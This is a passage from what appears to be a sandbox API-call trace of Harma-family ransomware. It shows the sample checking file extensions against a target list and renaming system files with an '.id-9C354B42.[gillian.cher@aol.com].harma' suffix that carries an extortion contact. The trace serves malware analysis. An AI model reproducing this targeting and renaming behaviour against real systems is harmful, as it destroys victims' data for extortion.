returned 0xffffffff [0132.609] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.609] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.609] lstrlenW (lpString=".doc") returned 4 [0132.609] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.609] lstrlenW (lpString=".docx") returned 5 [0132.609] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.610] lstrlenW (lpString=".pdf") returned 4 [0132.610] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.610] lstrlenW (lpString=".xls") returned 4 [0132.610] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.610] lstrlenW (lpString=".xlsx") returned 5 [0132.610] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.610] lstrlenW (lpString=".ppt") returned 4 [0132.610] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.610] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.610] lstrlenW (lpString=".zip") returned 4 [0132.610] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.610] lstrlenW (lpString=".rar") returned 4 [0132.610] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.610] lstrlenW (lpString=".bz2") returned 4 [0132.610] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.610] lstrlenW (lpString=".7z") returned 3 [0132.610] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.610] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.610] lstrlenW (lpString=".dbf") returned 4 [0132.610] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.610] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.610] lstrlenW (lpString=".1cd") returned 4 [0132.610] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.610] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.610] lstrlenW (lpString=".jpg") returned 4 [0132.610] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.610] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.610] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.610] lstrlenW (lpString=".doc") returned 4 [0132.610] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.610] lstrlenW (lpString=".docx") returned 5 [0132.611] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.611] lstrlenW (lpString=".pdf") returned 4 [0132.611] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.611] lstrlenW (lpString=".xls") returned 4 [0132.611] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.611] lstrlenW (lpString=".xlsx") returned 5 [0132.611] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.611] lstrlenW (lpString=".ppt") returned 4 [0132.611] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.611] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.611] lstrlenW (lpString=".zip") returned 4 [0132.611] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.611] lstrlenW (lpString=".rar") returned 4 [0132.611] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.611] lstrlenW (lpString=".bz2") returned 4 [0132.611] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.611] lstrlenW (lpString=".7z") returned 3 [0132.611] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.611] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.611] lstrlenW (lpString=".dbf") returned 4 [0132.611] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.611] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.611] lstrlenW (lpString=".1cd") returned 4 [0132.611] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.611] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0132.611] lstrlenW (lpString=".jpg") returned 4 [0132.611] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.612] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.612] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.612] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.612] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=94800) returned 1 [0132.612] CloseHandle (hObject=0x228) returned 1 [0132.612] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0132.612] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.612] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.612] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0132.612] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0132.612] lstrlenW (lpString=".doc") returned 4 [0132.612] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.612] lstrlenW (lpString=".docx") returned 5 [0132.613] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.613] lstrlenW (lpString=".pdf") returned 4 [0132.613] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.613] lstrlenW (lpString=".xls") returned 4 [0132.613] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.613] lstrlenW (lpString=".xlsx") returned 5 [0132.613] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.613] lstrlenW (lpString=".ppt") returned 4 [0132.613] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.613] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0132.613] lstrlenW (lpString=".zip") returned 4 [0132.613] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.613] lstrlenW (lpString=".rar") returned 4 [0132.613] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.613] lstrlenW (lpString=".bz2") returned 4 [0132.613] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.613] lstrlenW (lpString=".7z") returned 3 [0132.613] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.613] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.618] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=85056) returned 1 [0132.618] CloseHandle (hObject=0x228) returned 1 [0132.618] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0132.618] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.618] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.618] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=43600) returned 1 [0132.618] CloseHandle (hObject=0x228) returned 1 [0132.619] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0132.619] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.619] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.619] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=90192) returned 1 [0132.619] CloseHandle (hObject=0x228) returned 1 [0132.619] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0132.619] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.619] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.620] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=89152) returned 1 [0132.620] CloseHandle (hObject=0x228) returned 1 [0132.620] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0132.620] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.620] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.620] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3694080) returned 1 [0132.620] CloseHandle (hObject=0x228) returned 1 [0132.620] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0132.620] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.621] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0132.621] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.621] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.621] lstrlenW (lpString=".doc") returned 4 [0132.621] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.621] lstrlenW (lpString=".docx") returned 5 [0132.621] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.621] lstrlenW (lpString=".pdf") returned 4 [0132.621] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.621] lstrlenW (lpString=".xls") returned 4 [0132.621] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.621] lstrlenW (lpString=".xlsx") returned 5 [0132.621] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.621] lstrlenW (lpString=".ppt") returned 4 [0132.621] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.621] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.621] lstrlenW (lpString=".zip") returned 4 [0132.621] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.621] lstrlenW (lpString=".rar") returned 4 [0132.621] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.621] lstrlenW (lpString=".bz2") returned 4 [0132.621] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.621] lstrlenW (lpString=".7z") returned 3 [0132.621] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.621] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.621] lstrlenW (lpString=".dbf") returned 4 [0132.621] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.622] lstrlenW (lpString=".1cd") returned 4 [0132.622] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.622] lstrlenW (lpString=".jpg") returned 4 [0132.622] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.622] lstrlenW (lpString=".doc") returned 4 [0132.622] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString=".docx") returned 5 [0132.622] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.622] lstrlenW (lpString=".pdf") returned 4 [0132.622] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString=".xls") returned 4 [0132.622] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.622] lstrlenW (lpString=".xlsx") returned 5 [0132.622] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.622] lstrlenW (lpString=".ppt") returned 4 [0132.622] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.622] lstrlenW (lpString=".zip") returned 4 [0132.622] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.622] lstrlenW (lpString=".rar") returned 4 [0132.622] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString=".bz2") returned 4 [0132.622] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString=".7z") returned 3 [0132.622] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.622] lstrlenW (lpString=".dbf") returned 4 [0132.622] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.623] lstrlenW (lpString=".1cd") returned 4 [0132.623] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.623] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0132.623] lstrlenW (lpString=".jpg") returned 4 [0132.623] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.623] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0132.623] lstrlenW (lpString="cht_boot.ttf") returned 12 [0132.623] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0132.915] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3876772) returned 1 [0132.915] CloseHandle (hObject=0x294) returned 1 [0132.915] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0132.915] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.915] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0132.915] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.915] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.916] lstrlenW (lpString=".doc") returned 4 [0132.916] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.916] lstrlenW (lpString=".docx") returned 5 [0132.916] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.916] lstrlenW (lpString=".pdf") returned 4 [0132.916] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.916] lstrlenW (lpString=".xls") returned 4 [0132.916] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.916] lstrlenW (lpString=".xlsx") returned 5 [0132.916] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.916] lstrlenW (lpString=".ppt") returned 4 [0132.916] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.916] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.916] lstrlenW (lpString=".zip") returned 4 [0132.916] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.916] lstrlenW (lpString=".rar") returned 4 [0132.916] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.916] lstrlenW (lpString=".bz2") returned 4 [0132.916] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.916] lstrlenW (lpString=".7z") returned 3 [0132.916] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.916] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.916] lstrlenW (lpString=".dbf") returned 4 [0132.916] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.916] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.916] lstrlenW (lpString=".1cd") returned 4 [0132.916] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.917] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.917] lstrlenW (lpString=".jpg") returned 4 [0132.917] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.917] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.917] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.917] lstrlenW (lpString=".doc") returned 4 [0132.917] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.917] lstrlenW (lpString=".docx") returned 5 [0132.917] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.917] lstrlenW (lpString=".pdf") returned 4 [0132.917] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.917] lstrlenW (lpString=".xls") returned 4 [0132.917] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.917] lstrlenW (lpString=".xlsx") returned 5 [0132.917] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.917] lstrlenW (lpString=".ppt") returned 4 [0132.917] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.917] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.917] lstrlenW (lpString=".zip") returned 4 [0132.917] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.917] lstrlenW (lpString=".rar") returned 4 [0132.917] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.917] lstrlenW (lpString=".bz2") returned 4 [0132.917] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.918] lstrlenW (lpString=".7z") returned 3 [0132.918] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.918] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.918] lstrlenW (lpString=".dbf") returned 4 [0132.918] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.918] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.918] lstrlenW (lpString=".1cd") returned 4 [0132.918] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.918] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0132.918] lstrlenW (lpString=".jpg") returned 4 [0132.918] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.918] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0132.918] lstrlenW (lpString="msitss55.dll") returned 12 [0132.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.004] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=430080) returned 1 [0133.004] CloseHandle (hObject=0x2ac) returned 1 [0133.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0133.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.004] lstrlenW (lpString=".doc") returned 4 [0133.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.004] lstrlenW (lpString=".docx") returned 5 [0133.004] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0133.004] lstrlenW (lpString=".pdf") returned 4 [0133.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.004] lstrlenW (lpString=".xls") returned 4 [0133.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.004] lstrlenW (lpString=".xlsx") returned 5 [0133.004] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0133.004] lstrlenW (lpString=".ppt") returned 4 [0133.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.004] lstrlenW (lpString=".zip") returned 4 [0133.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString=".rar") returned 4 [0133.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString=".bz2") returned 4 [0133.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.005] lstrlenW (lpString=".7z") returned 3 [0133.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.005] lstrlenW (lpString=".dbf") returned 4 [0133.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.005] lstrlenW (lpString=".1cd") returned 4 [0133.005] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.005] lstrlenW (lpString=".jpg") returned 4 [0133.005] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.005] lstrlenW (lpString=".doc") returned 4 [0133.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString=".docx") returned 5 [0133.005] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0133.005] lstrlenW (lpString=".pdf") returned 4 [0133.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString=".xls") returned 4 [0133.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString=".xlsx") returned 5 [0133.005] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0133.005] lstrlenW (lpString=".ppt") returned 4 [0133.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.005] lstrlenW (lpString=".zip") returned 4 [0133.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.005] lstrlenW (lpString=".rar") returned 4 [0133.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.006] lstrlenW (lpString=".bz2") returned 4 [0133.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.006] lstrlenW (lpString=".7z") returned 3 [0134.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0134.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0134.744] lstrlenW (lpString=".doc") returned 4 [0134.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common 